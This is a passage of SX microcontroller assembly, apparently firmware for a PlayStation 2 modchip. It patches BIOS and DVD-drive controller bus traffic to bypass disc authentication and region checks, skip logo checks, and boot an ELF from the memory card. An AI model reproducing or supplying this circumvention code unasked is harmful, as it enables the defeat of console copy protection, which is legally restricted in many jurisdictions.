mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data ;PS2_PS2LOGO:patchlogo2 PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#87;$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS1_DETECTED_REBOOT_L1 mov w,#255;$ff mov VAR_DC3,w ;PS2_PS2LOGO:loop2 PS1_DETECTED_REBOOT_L2 mov w,#255;$ff mov VAR_DC1,w ;PS2_PS2LOGO:loopx AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START IFDEF SX48RAM mov w,#$26;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$37;3C ELSE mov w,#$3c ENDIF mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 org $0A00 org $0C00 org $0E00 ENDIF end
